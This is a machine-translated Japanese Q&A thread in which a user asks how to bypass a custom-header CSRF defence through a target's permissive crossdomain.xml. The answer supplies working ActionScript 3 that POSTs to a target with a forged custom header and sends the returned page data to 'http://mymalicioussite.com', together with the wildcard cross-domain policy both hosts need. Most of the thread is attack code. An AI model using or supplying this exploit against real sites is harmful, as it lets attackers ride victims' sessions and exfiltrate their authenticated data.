2017-03-26 6 views
0

弱いCrossDomain.xmlを持つターゲットを持っていますが、カスタムHTTPヘッダーの1つを見てCSRF攻撃を防ぎます。私はいくつかのウェブサイト上でactionscriptの後に見つけましたが、それはヘッダーを設定しないという点を除いて完全に動作します。弱いCrossDomain.xml経由でActionScriptを使用したバイパス

このActionScriptは 'Target.htm' にPOSTリクエストを送信し、私はそれが任意のカスタムヘッダーを設定する必要があり、テスト・ヘッダーを言う:ターゲットの

package { 
    import flash.display.Sprite; 
    import flash.events.*; 
    import flash.net.URLRequestMethod; 
    import flash.net.URLRequest; 
    import flash.net.URLLoader; 
    import flash.net.URLVariables; 
    import flash.net.URLRequestHeader; 

    public class FlashTest extends Sprite { 

     public function FlashTest() { 
      // write as3 code here.. 
      //Target URL   
      var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123"); 
      var readFrom:String = "http://192.168.100.4/Target.htm"; 
      var readRequest:URLRequest = new URLRequest(readFrom); 
      readRequest.data = "ThisDoesNotMatter" 
      readRequest.method = URLRequestMethod.POST 
      readRequest.requestHeaders.push(header); 
      var getLoader:URLLoader = new URLLoader(); 
      getLoader.addEventListener(Event.COMPLETE, eventHandler); 
      try 
      { 
       getLoader.load(readRequest); 
      } 
      catch(error:Error) 
      { 

      } 
     } 

     private function eventHandler(event:Event):void 
     { 
      var sendTO:String = "http://mymalicioussite.com"; 
      var sendRequest:URLRequest = new URLRequest(sendTO); 
      sendRequest.method = URLRequestMethod.POST; 
      sendRequest.data = event.target.data; 
      var sendLoader:URLLoader = new URLLoader(); 
      try 
      { 
       sendLoader.load(sendRequest); 
      } 
      catch(error:Error) 
      { 

      } 
      } 
     } 
     } 

のcrossdomain.xml:

<?xml version="1.0"?> 

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"> 
<cross-domain-policy> 
    <allow-access-from domain="*" secure="true" /> 
</cross-domain-policy> 

ご協力いただければ幸いです。 POSTではなくGET要求の作業コードも、ターゲットがGET要求とPOST要求の両方を受け入れるため、動作します。私の知る限り、カスタムヘッダーの設定はPOSTリクエストでのみ許可されていますが、標準のHTTPヘッダーを使用したGETリクエストは少なくとも今のところ私にとってはうまくいくでしょう。また

が、これは場合にのみ機能します:

答えて

0

は、いくつかのテストを実行した後、私は(ブラウザが許可しないのRefererとUser-Agentのヘッダを除く)任意のカスタムヘッダーを設定するために、上記のスクリプトを変更することができましたターゲットと攻撃機は、以下のcrossdomain.xmlている必要があります

<?xml version="1.0"?> 

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross- 
domain-policy.dtd"> 
<cross-domain-policy> 
<allow-access-from domain="*" secure="false" /> 
<allow-http-request-headers-from domain="*" headers="*" secure="false"/> 
</cross-domain-policy> 

をそしてここで私のために働いたAS3のスクリプトです:

package { 
import flash.display.Sprite; 
import flash.events.*; 
import flash.net.URLRequestMethod; 
import flash.net.URLRequest; 
import flash.net.URLLoader; 
import flash.net.URLVariables; 
import flash.net.URLRequestHeader; 

public class FlashTest extends Sprite { 

    public function FlashTest() { 
     // write as3 code here.. 

     //Set Header 
     var headers:Array = [new URLRequestHeader("TestHeader", "Test123")]; 

     //Target URL   
     var readFrom:String = "http://192.168.253.133/Target.htm"; 
     var readRequest:URLRequest = new URLRequest(readFrom); 
     readRequest.requestHeaders = headers; 
     readRequest.data = "ThisDoesNotMatter" //POST data 
     readRequest.method = URLRequestMethod.POST 
     //readRequest.requestHeaders.push(); 
     var getLoader:URLLoader = new URLLoader(); 
     getLoader.addEventListener(Event.COMPLETE, eventHandler); 
     try 
     { 
      getLoader.load(readRequest); 
     } 
     catch(error:Error) 
     { 

     } 
    } 

    private function eventHandler(event:Event):void 
    { 
     var sendTO:String = "http://mymalicioussite.com"; 
     var sendRequest:URLRequest = new URLRequest(sendTO); 
     sendRequest.method = URLRequestMethod.POST; 
     sendRequest.data = event.target.data; 
     var sendLoader:URLLoader = new URLLoader(); 
     try 
     { 
      sendLoader.load(sendRequest); 
     } 
     catch(error:Error) 
     { 

     } 
     } 
    } 
}//package 
関連する問題